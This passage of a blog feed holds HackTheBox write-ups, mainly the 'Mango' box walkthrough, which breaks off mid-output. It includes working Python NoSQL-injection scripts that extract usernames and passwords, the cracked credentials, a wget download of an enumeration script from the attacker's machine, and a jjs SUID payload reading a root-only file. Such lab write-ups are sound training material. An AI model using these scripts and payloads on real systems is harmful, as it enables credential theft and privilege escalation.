class=\"se\">\\?<\/span>reset<span class=\"se\">\\=<\/span>FUZZ\n********************************************************\n*<span class=\"w\"> <\/span>Wfuzz<span class=\"w\"> <\/span><span class=\"m\">2<\/span>.4.2<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>The<span class=\"w\"> <\/span>Web<span class=\"w\"> <\/span>Fuzzer<span class=\"w\">                         <\/span>*\n********************************************************\n\nTarget:<span class=\"w\"> <\/span>http:\/\/docker.hackthebox.eu:32514\/api\/action.php?reset<span class=\"o\">=<\/span>FUZZ\nTotal<span class=\"w\"> <\/span>requests:<span class=\"w\"> <\/span><span class=\"nv\">1001<\/span>\n\n<span class=\"o\">===================================================================<\/span>\nID<span class=\"w\">           <\/span>Response<span class=\"w\">   <\/span>Lines<span class=\"w\">    <\/span>Word<span class=\"w\">     <\/span>Chars<span class=\"w\">       <\/span><span class=\"nv\">Payload<\/span>\n<span class=\"o\">===================================================================<\/span>\n\n<span class=\"m\">000000021<\/span>:<span class=\"w\">   <\/span><span class=\"m\">200<\/span><span class=\"w\">        <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>L<span class=\"w\">      <\/span><span class=\"m\">10<\/span><span class=\"w\"> <\/span>W<span class=\"w\">     <\/span><span class=\"m\">74<\/span><span class=\"w\"> <\/span>Ch<span class=\"w\">       <\/span><span class=\"s2\">&quot;20&quot;<\/span>\n\nTotal<span class=\"w\"> <\/span>time:<span class=\"w\"> <\/span><span class=\"m\">3<\/span>.746470\nProcessed<span class=\"w\"> <\/span>Requests:<span class=\"w\"> <\/span><span class=\"m\">1001<\/span>\nFiltered<span class=\"w\"> <\/span>Requests:<span class=\"w\"> <\/span><span class=\"m\">1000<\/span>\nRequests\/sec.:<span class=\"w\"> <\/span><span class=\"m\">267<\/span>.1847\n<\/code><\/pre><\/div>\n\n<p>Finally, calling the assembled endpoint with the account ID 20, we get a response containing the flag:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>http:\/\/docker.hackthebox.eu:32514\/api\/action.php?reset=20\n<\/code><\/pre><\/div>\n\n<p>Short and sweet. :)<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"HackTheBox Mango","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2020\/08\/08\/hackthebox-mango.html","rel":"alternate"}},"published":"2020-08-08T00:00:00+02:00","updated":"2020-08-08T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2020-08-08:\/2020\/08\/08\/hackthebox-mango.html","summary":"<p>Mango was an interesting box when it comes to enumeration. It taught me to look more closely and not brush off anything just because I have seen it before. The box is also a prime lesson to aggregate your recon info in a structured manner so it's easier to apply \u2026<\/p>","content":"<p>Mango was an interesting box when it comes to enumeration. It taught me to look more closely and not brush off anything just because I have seen it before. The box is also a prime lesson to aggregate your recon info in a structured manner so it's easier to apply it at other points when you hit a dead end somewhere. There were also some nice opportunities for small, specialised attack scripts, which I particularly enjoyed! When we start out by scanning the box, we get the following report:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># nmap -sS -sC -oN mango.nmap 10.10.10.162<\/span>\nStarting<span class=\"w\"> <\/span>Nmap<span class=\"w\"> <\/span><span class=\"m\">7<\/span>.80<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"w\"> <\/span>https:\/\/nmap.org<span class=\"w\"> <\/span><span class=\"o\">)<\/span><span class=\"w\"> <\/span>at<span class=\"w\"> <\/span><span class=\"m\">2019<\/span>-12-08<span class=\"w\"> <\/span><span class=\"m\">13<\/span>:30<span class=\"w\"> <\/span>GMT\nNmap<span class=\"w\"> <\/span>scan<span class=\"w\"> <\/span>report<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.10.162\nHost<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>up<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">0<\/span>.13s<span class=\"w\"> <\/span>latency<span class=\"o\">)<\/span>.\nNot<span class=\"w\"> <\/span>shown:<span class=\"w\"> <\/span><span class=\"m\">997<\/span><span class=\"w\"> <\/span>closed<span class=\"w\"> <\/span>ports\nPORT<span class=\"w\">    <\/span>STATE<span class=\"w\"> <\/span>SERVICE\n<span class=\"m\">22<\/span>\/tcp<span class=\"w\">  <\/span>open<span class=\"w\">  <\/span>ssh\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>ssh-hostkey:\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">2048<\/span><span class=\"w\"> <\/span>a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5<span class=\"w\"> <\/span><span class=\"o\">(<\/span>RSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span><span class=\"w\">   <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span>6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ECDSA<span class=\"o\">)<\/span>\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span><span class=\"m\">256<\/span><span class=\"w\"> <\/span><span class=\"m\">90<\/span>:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9<span class=\"w\"> <\/span><span class=\"o\">(<\/span>ED25519<span class=\"o\">)<\/span>\n<span class=\"m\">80<\/span>\/tcp<span class=\"w\">  <\/span>open<span class=\"w\">  <\/span>http\n<span class=\"p\">|<\/span>_http-title:<span class=\"w\"> <\/span><span class=\"m\">403<\/span><span class=\"w\"> <\/span>Forbidden\n<span class=\"m\">443<\/span>\/tcp<span class=\"w\"> <\/span>open<span class=\"w\">  <\/span>https\n<span class=\"p\">|<\/span>_http-title:<span class=\"w\"> <\/span>Mango<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>Search<span class=\"w\"> <\/span>Base\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>ssl-cert:<span class=\"w\"> <\/span>Subject:<span class=\"w\"> <\/span><span class=\"nv\">commonName<\/span><span class=\"o\">=<\/span>staging-order.mango.htb\/organizationName<span class=\"o\">=<\/span>Mango<span class=\"w\"> <\/span>Prv<span class=\"w\"> <\/span>Ltd.\/stateOrProvinceName<span class=\"o\">=<\/span>None\/countryName<span class=\"o\">=<\/span>IN\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>Not<span class=\"w\"> <\/span>valid<span class=\"w\"> <\/span>before:<span class=\"w\"> <\/span><span class=\"m\">2019<\/span>-09-27T14:21:19\n<span class=\"p\">|<\/span>_Not<span class=\"w\"> <\/span>valid<span class=\"w\"> <\/span>after:<span class=\"w\">  <\/span><span class=\"m\">2020<\/span>-09-26T14:21:19\n<span class=\"p\">|<\/span>_ssl-date:<span class=\"w\"> <\/span>TLS<span class=\"w\"> <\/span>randomness<span class=\"w\"> <\/span>does<span class=\"w\"> <\/span>not<span class=\"w\"> <\/span>represent<span class=\"w\"> <\/span><span class=\"nb\">time<\/span>\n<span class=\"p\">|<\/span><span class=\"w\"> <\/span>tls-alpn:\n<span class=\"p\">|<\/span>_<span class=\"w\">  <\/span>http\/1.1\n\nNmap<span class=\"w\"> <\/span><span class=\"k\">done<\/span>:<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>IP<span class=\"w\"> <\/span>address<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>host<span class=\"w\"> <\/span>up<span class=\"o\">)<\/span><span class=\"w\"> <\/span>scanned<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>.49<span class=\"w\"> <\/span>seconds\n<\/code><\/pre><\/div>\n\n<p>When you know what to look for, it's trivial, but it took me more time than I'm willing to admit here to see the leaking domain name in the SSL certificate. Its subject points to <code>staging-order.mango.htb<\/code>. Port 80 is not that interesting at is just yields a permission error. Heading to the site on port 443, are are greeted with a search page:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/hackthebox-mango-write-up\/screenshot-from-2019-12-08-14-32-50.png\" data-pswp-width=\"1546\" data-pswp-height=\"634\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-mango-write-up\/screenshot-from-2019-12-08-14-32-50.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Exploring the site manually, we find an analytics frontend:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/hackthebox-mango-write-up\/screenshot-from-2019-12-08-14-35-19.png\" data-pswp-width=\"1547\" data-pswp-height=\"878\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-mango-write-up\/screenshot-from-2019-12-08-14-35-19.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>On the first look, this seems to provide some interesting attack surface. Checking the source code, we only find hardcoded JSON data and file inclusions from flexmonster.com - all sample data, apparently. So we skip it as there is nothing interesting on here that is in scope. Moving on, with the <code>mango.htb<\/code> added to our hosts file, we can access the SSL-protected part of the site, which we got from the certificate's common name. There, we are greeted with a login panel:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/hackthebox-mango-write-up\/screenshot-from-2019-12-08-17-00-27.png\" data-pswp-width=\"1555\" data-pswp-height=\"884\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-mango-write-up\/screenshot-from-2019-12-08-17-00-27_thumb.jpg\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Logging the network requests on the page when trying some easy default candidates does not yield any success. However, thinking about the box' name, I thought that it might be a hint for MongoDB as a backend service. And the all-time classic here is attempting NoSQL injection. So I crafted a little Python script that uses form field regular expressions to enumerate the database's usernames:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"kn\">import<\/span> <span class=\"nn\">requests<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">string<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">sys<\/span>\n\n\n<span class=\"n\">username<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;&quot;<\/span>\n<span class=\"n\">u<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;http:\/\/staging-order.mango.htb\/index.php&quot;<\/span>\n\n<span class=\"k\">def<\/span> <span class=\"nf\">escape<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">):<\/span>\n    <span class=\"k\">return<\/span> <span class=\"s2\">&quot;<\/span><span class=\"se\">\\\\<\/span><span class=\"s2\">&quot;<\/span> <span class=\"o\">+<\/span> <span class=\"n\">c<\/span> <span class=\"k\">if<\/span> <span class=\"n\">c<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">string<\/span><span class=\"o\">.<\/span><span class=\"n\">punctuation<\/span> <span class=\"k\">else<\/span> <span class=\"n\">c<\/span>\n\n<span class=\"k\">while<\/span> <span class=\"kc\">True<\/span><span class=\"p\">:<\/span>\n    <span class=\"n\">sanitized<\/span> <span class=\"o\">=<\/span> <span class=\"n\">username<\/span><span class=\"o\">.<\/span><span class=\"n\">replace<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;<\/span><span class=\"se\">\\\\<\/span><span class=\"s2\">&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;&quot;<\/span><span class=\"p\">)<\/span>\n\n    <span class=\"n\">found<\/span> <span class=\"o\">=<\/span> <span class=\"kc\">False<\/span>\n    <span class=\"k\">for<\/span> <span class=\"n\">c<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">string<\/span><span class=\"o\">.<\/span><span class=\"n\">ascii_letters<\/span> <span class=\"o\">+<\/span> <span class=\"n\">string<\/span><span class=\"o\">.<\/span><span class=\"n\">digits<\/span> <span class=\"o\">+<\/span> <span class=\"n\">string<\/span><span class=\"o\">.<\/span><span class=\"n\">punctuation<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">esc<\/span> <span class=\"o\">=<\/span> <span class=\"n\">escape<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n        <span class=\"n\">sys<\/span><span class=\"o\">.<\/span><span class=\"n\">stdout<\/span><span class=\"o\">.<\/span><span class=\"n\">write<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;<\/span><span class=\"se\">\\r<\/span><span class=\"si\">{}{}<\/span><span class=\"s2\">&quot;<\/span><span class=\"o\">.<\/span><span class=\"n\">format<\/span><span class=\"p\">(<\/span><span class=\"n\">sanitized<\/span><span class=\"p\">,<\/span> <span class=\"n\">c<\/span><span class=\"p\">))<\/span>\n        <span class=\"n\">sys<\/span><span class=\"o\">.<\/span><span class=\"n\">stdout<\/span><span class=\"o\">.<\/span><span class=\"n\">flush<\/span><span class=\"p\">()<\/span>\n        <span class=\"n\">params<\/span> <span class=\"o\">=<\/span> <span class=\"p\">{<\/span>\n            <span class=\"s2\">&quot;password[$ne]&quot;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&quot;foo&quot;<\/span><span class=\"p\">,<\/span>\n            <span class=\"s2\">&quot;username[$regex]&quot;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&quot;<\/span><span class=\"si\">{}{}<\/span><span class=\"s2\">.*&quot;<\/span><span class=\"o\">.<\/span><span class=\"n\">format<\/span><span class=\"p\">(<\/span><span class=\"n\">username<\/span><span class=\"p\">,<\/span> <span class=\"n\">esc<\/span><span class=\"p\">),<\/span>\n            <span class=\"s2\">&quot;login&quot;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&quot;login&quot;<\/span>\n        <span class=\"p\">}<\/span>\n        <span class=\"n\">r<\/span> <span class=\"o\">=<\/span> <span class=\"n\">requests<\/span><span class=\"o\">.<\/span><span class=\"n\">post<\/span><span class=\"p\">(<\/span>\n            <span class=\"n\">u<\/span><span class=\"p\">,<\/span>\n            <span class=\"n\">data<\/span><span class=\"o\">=<\/span><span class=\"n\">params<\/span><span class=\"p\">,<\/span>\n            <span class=\"n\">verify<\/span><span class=\"o\">=<\/span><span class=\"kc\">False<\/span><span class=\"p\">,<\/span>\n            <span class=\"n\">allow_redirects<\/span><span class=\"o\">=<\/span><span class=\"kc\">False<\/span>\n        <span class=\"p\">)<\/span>\n        <span class=\"k\">if<\/span> <span class=\"n\">r<\/span><span class=\"o\">.<\/span><span class=\"n\">status_code<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">302<\/span><span class=\"p\">:<\/span>\n            <span class=\"n\">username<\/span> <span class=\"o\">+=<\/span> <span class=\"n\">esc<\/span>\n            <span class=\"n\">found<\/span> <span class=\"o\">=<\/span> <span class=\"kc\">True<\/span>\n            <span class=\"k\">break<\/span>\n\n    <span class=\"k\">if<\/span> <span class=\"ow\">not<\/span> <span class=\"n\">found<\/span><span class=\"p\">:<\/span>\n        <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;<\/span><span class=\"se\">\\r<\/span><span class=\"s2\">Found username: &#39;<\/span><span class=\"si\">{}<\/span><span class=\"s2\">&#39;&quot;<\/span><span class=\"o\">.<\/span><span class=\"n\">format<\/span><span class=\"p\">(<\/span><span class=\"n\">sanitized<\/span><span class=\"p\">))<\/span>\n        <span class=\"k\">break<\/span>\n<\/code><\/pre><\/div>\n\n<p>Et voil\u00e0, the usernames <code>mango<\/code> and <code>admin<\/code> show up. Armed with that knowledge, we can exploit the same vulnerability to extract the user's passwords from the database with a little variation of the above script:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"kn\">import<\/span> <span class=\"nn\">requests<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">string<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">sys<\/span>\n\n\n<span class=\"n\">username<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;admin&quot;<\/span>\n<span class=\"n\">password<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;&quot;<\/span>\n<span class=\"n\">u<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;http:\/\/staging-order.mango.htb\/index.php&quot;<\/span>\n\n\n<span class=\"k\">def<\/span> <span class=\"nf\">escape<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">):<\/span>\n    <span class=\"k\">return<\/span> <span class=\"s2\">&quot;<\/span><span class=\"se\">\\\\<\/span><span class=\"s2\">&quot;<\/span> <span class=\"o\">+<\/span> <span class=\"n\">c<\/span> <span class=\"k\">if<\/span> <span class=\"n\">c<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">string<\/span><span class=\"o\">.<\/span><span class=\"n\">punctuation<\/span> <span class=\"k\">else<\/span> <span class=\"n\">c<\/span>\n\n\n<span class=\"k\">while<\/span> <span class=\"kc\">True<\/span><span class=\"p\">:<\/span>\n    <span class=\"n\">sanitized<\/span> <span class=\"o\">=<\/span> <span class=\"n\">password<\/span><span class=\"o\">.<\/span><span class=\"n\">replace<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;<\/span><span class=\"se\">\\\\<\/span><span class=\"s2\">&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;&quot;<\/span><span class=\"p\">)<\/span>\n\n    <span class=\"n\">found<\/span> <span class=\"o\">=<\/span> <span class=\"kc\">False<\/span>\n    <span class=\"k\">for<\/span> <span class=\"n\">c<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">string<\/span><span class=\"o\">.<\/span><span class=\"n\">ascii_letters<\/span> <span class=\"o\">+<\/span> <span class=\"n\">string<\/span><span class=\"o\">.<\/span><span class=\"n\">digits<\/span> <span class=\"o\">+<\/span> <span class=\"n\">string<\/span><span class=\"o\">.<\/span><span class=\"n\">punctuation<\/span><span class=\"p\">:<\/span>\n        <span class=\"n\">esc<\/span> <span class=\"o\">=<\/span> <span class=\"n\">escape<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n        <span class=\"n\">sys<\/span><span class=\"o\">.<\/span><span class=\"n\">stdout<\/span><span class=\"o\">.<\/span><span class=\"n\">write<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;<\/span><span class=\"se\">\\r<\/span><span class=\"si\">{}{}<\/span><span class=\"s2\">&quot;<\/span><span class=\"o\">.<\/span><span class=\"n\">format<\/span><span class=\"p\">(<\/span><span class=\"n\">sanitized<\/span><span class=\"p\">,<\/span> <span class=\"n\">c<\/span><span class=\"p\">))<\/span>\n        <span class=\"n\">sys<\/span><span class=\"o\">.<\/span><span class=\"n\">stdout<\/span><span class=\"o\">.<\/span><span class=\"n\">flush<\/span><span class=\"p\">()<\/span>\n        <span class=\"n\">params<\/span> <span class=\"o\">=<\/span> <span class=\"p\">{<\/span>\n            <span class=\"s2\">&quot;password[$regex]&quot;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&quot;^<\/span><span class=\"si\">{}{}<\/span><span class=\"s2\">.*&quot;<\/span><span class=\"o\">.<\/span><span class=\"n\">format<\/span><span class=\"p\">(<\/span><span class=\"n\">password<\/span><span class=\"p\">,<\/span> <span class=\"n\">esc<\/span><span class=\"p\">),<\/span>\n            <span class=\"s2\">&quot;username&quot;<\/span><span class=\"p\">:<\/span> <span class=\"n\">username<\/span><span class=\"p\">,<\/span>\n            <span class=\"s2\">&quot;login&quot;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&quot;login&quot;<\/span>\n        <span class=\"p\">}<\/span>\n        <span class=\"n\">r<\/span> <span class=\"o\">=<\/span> <span class=\"n\">requests<\/span><span class=\"o\">.<\/span><span class=\"n\">post<\/span><span class=\"p\">(<\/span>\n            <span class=\"n\">u<\/span><span class=\"p\">,<\/span>\n            <span class=\"n\">data<\/span><span class=\"o\">=<\/span><span class=\"n\">params<\/span><span class=\"p\">,<\/span>\n            <span class=\"n\">verify<\/span><span class=\"o\">=<\/span><span class=\"kc\">False<\/span><span class=\"p\">,<\/span>\n            <span class=\"n\">allow_redirects<\/span><span class=\"o\">=<\/span><span class=\"kc\">False<\/span>\n        <span class=\"p\">)<\/span>\n        <span class=\"k\">if<\/span> <span class=\"n\">r<\/span><span class=\"o\">.<\/span><span class=\"n\">status_code<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">302<\/span><span class=\"p\">:<\/span>\n            <span class=\"n\">password<\/span> <span class=\"o\">+=<\/span> <span class=\"n\">esc<\/span>\n            <span class=\"n\">found<\/span> <span class=\"o\">=<\/span> <span class=\"kc\">True<\/span>\n            <span class=\"k\">break<\/span>\n\n    <span class=\"k\">if<\/span> <span class=\"ow\">not<\/span> <span class=\"n\">found<\/span><span class=\"p\">:<\/span>\n        <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;<\/span><span class=\"se\">\\r<\/span><span class=\"s2\">Found password for <\/span><span class=\"si\">{}<\/span><span class=\"s2\">: &#39;<\/span><span class=\"si\">{}<\/span><span class=\"s2\">&#39;&quot;<\/span><span class=\"o\">.<\/span><span class=\"n\">format<\/span><span class=\"p\">(<\/span><span class=\"n\">username<\/span><span class=\"p\">,<\/span> <span class=\"n\">sanitized<\/span><span class=\"p\">))<\/span>\n        <span class=\"k\">break<\/span>\n<\/code><\/pre><\/div>\n\n<p>And we get the following output:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">mango<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">h3mXK8RhU<\/span><span class=\"o\">~<\/span><span class=\"n\">f<\/span><span class=\"o\">{\\]<\/span><span class=\"n\">f5H<\/span><span class=\"w\"> <\/span><span class=\"n\">admin<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">t9KcS3<\/span><span class=\"o\">&gt;!<\/span><span class=\"mi\">0<\/span><span class=\"n\">B<\/span><span class=\"err\">#<\/span><span class=\"mi\">2<\/span>\n<\/code><\/pre><\/div>\n\n<p>Logging in as either just brings us to a dead end:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/hackthebox-mango-write-up\/screenshot-from-2019-12-09-12-01-55.png\" data-pswp-width=\"776\" data-pswp-height=\"407\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-mango-write-up\/screenshot-from-2019-12-09-12-01-55.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>So we circle back to our recon results and see where we can apply this new information to make progress. Trying to log in through SSH shows that the <code>mango<\/code> user also exists on the server, and they have reused their password. We manage to get a shell, but no user flag. Sad. :(<\/p>\n<p>But maybe the admin user exists on the machine too and just didn't enable the password on their SSH login. Running <code>su admin<\/code> and entering the password leads to great success and we have now secured the user flag. As admin, doing the usual enumeration game...<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span><span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>\/tmp\n$<span class=\"w\"> <\/span>wget<span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.14.13\/LinEnum.sh\n--2019-12-09<span class=\"w\"> <\/span><span class=\"m\">11<\/span>:34:28--<span class=\"w\">  <\/span>http:\/\/10.10.14.13\/LinEnum.sh\nConnecting<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span><span class=\"m\">10<\/span>.10.14.13:80...<span class=\"w\"> <\/span>connected.\nHTTP<span class=\"w\"> <\/span>request<span class=\"w\"> <\/span>sent,<span class=\"w\"> <\/span>awaiting<span class=\"w\"> <\/span>response...<span class=\"w\"> <\/span><span class=\"m\">200<\/span><span class=\"w\"> <\/span>OK\nLength:<span class=\"w\"> <\/span><span class=\"m\">46476<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>45K<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span>text\/x-sh<span class=\"o\">]<\/span>\nSaving<span class=\"w\"> <\/span>to:<span class=\"w\"> <\/span>\u2018LinEnum.sh\u2019\n\nLinEnum.sh<span class=\"w\">               <\/span><span class=\"m\">100<\/span>%<span class=\"o\">[=================================<\/span>&gt;<span class=\"o\">]<\/span><span class=\"w\">  <\/span><span class=\"m\">45<\/span>.39K<span class=\"w\">   <\/span>138KB\/s<span class=\"w\">    <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span><span class=\"m\">0<\/span>.3s\n\n<span class=\"m\">2019<\/span>-12-09<span class=\"w\"> <\/span><span class=\"m\">11<\/span>:34:28<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">138<\/span><span class=\"w\"> <\/span>KB\/s<span class=\"o\">)<\/span><span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>\u2018LinEnum.sh\u2019<span class=\"w\"> <\/span>saved<span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"m\">46476<\/span>\/46476<span class=\"o\">]<\/span>\n\n$<span class=\"w\"> <\/span>chmod<span class=\"w\"> <\/span>+x<span class=\"w\"> <\/span>LinEnum.sh\n$<span class=\"w\"> <\/span>.\/LinEnum.sh<span class=\"w\"> <\/span>&gt;<span class=\"w\"> <\/span>totallynotareport.txt\n<\/code><\/pre><\/div>\n\n<p>... we find an interesting line in the report:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>[+] Possibly interesting SUID\nfiles: -rwsr-sr-- 1 root admin 10352 Jul 18 18:21 \/usr\/lib\/jvm\/java-11-openjdk-amd64\/bin\/jjs\n<\/code><\/pre><\/div>\n\n<p>Indeed, interesting. Because <code>jjs<\/code> is a super easy point for privilege escalation when run with elevated privileges. And this one has an SUID flag! Reading up a bit on <a href=\"https:\/\/gtfobins.github.io\/gtfobins\/jjs\/#file-read\">GTFOBins<\/a> (because no one can remember that stuff, seriousy), we craft the following payload:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">echo<\/span><span class=\"w\"> <\/span><span class=\"err\">&#39;<\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"n\">BufferedReader<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">Java<\/span><span class=\"p\">.<\/span><span class=\"na\">type<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;java.io.BufferedReader&quot;<\/span><span class=\"p\">);<\/span><span class=\"o\">&gt;<\/span><span class=\"w\"> <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"n\">FileReader<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">Java<\/span><span class=\"p\">.<\/span><span class=\"na\">type<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;java.io.FileReader&quot;<\/span><span class=\"p\">);<\/span><span class=\"o\">&gt;<\/span><span class=\"w\"> <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"n\">br<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"k\">new<\/span><span class=\"w\"> <\/span><span class=\"n\">BufferedReader<\/span><span class=\"p\">(<\/span><span class=\"k\">new<\/span><span class=\"w\"> <\/span><span class=\"n\">FileReader<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;\/root\/root.txt&quot;<\/span><span class=\"p\">));<\/span><span class=\"o\">&gt;<\/span><span class=\"w\"> <\/span><span class=\"k\">while<\/span><span class=\"w\"> <\/span><span class=\"p\">((<\/span><span class=\"n\">line<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">br<\/span><span class=\"p\">.<\/span><span class=\"na\">readLine<\/span><span class=\"p\">())<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"kc\">null<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span><span class=\"n\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">line<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"p\">}<\/span><span class=\"err\">&#39;<\/span><span class=\"w\"> <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"n\">jjs<\/span>\n<span class=\"nl\">Warning<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">The<\/span><span class=\"w\"> <\/span><span class=\"n\">jjs<\/span><span class=\"w\"> <\/span><span class=\"n\">tool<\/span><span class=\"w\"> <\/span><span class=\"n\">is<\/span><span class=\"w\"> <\/span><span class=\"n\">planned<\/span><span class=\"w\"> <\/span><span class=\"n\">to<\/span><span class=\"w\"> <\/span><span class=\"n\">be<\/span><span class=\"w\"> <\/span><span class=\"n\">removed<\/span><span class=\"w\"> <\/span><span class=\"n\">from<\/span><span class=\"w\"> <\/span><span class=\"n\">a<\/span><span class=\"w\"> <\/span><span class=\"n\">future<\/span><span class=\"w\"> <\/span><span class=\"n\">JDK<\/span><span class=\"w\"> <\/span><span class=\"n\">release<\/span>\n<span class=\"n\">jjs<\/span><span class=\"o\">&gt;<\/span><span class=\"w\"> <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"n\">BufferedReader<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">Java<\/span><span class=\"p\">.<\/span><span class=\"na\">type<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;java.io.BufferedReader&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"n\">jjs<\/span><span class=\"o\">&gt;<\/span><span 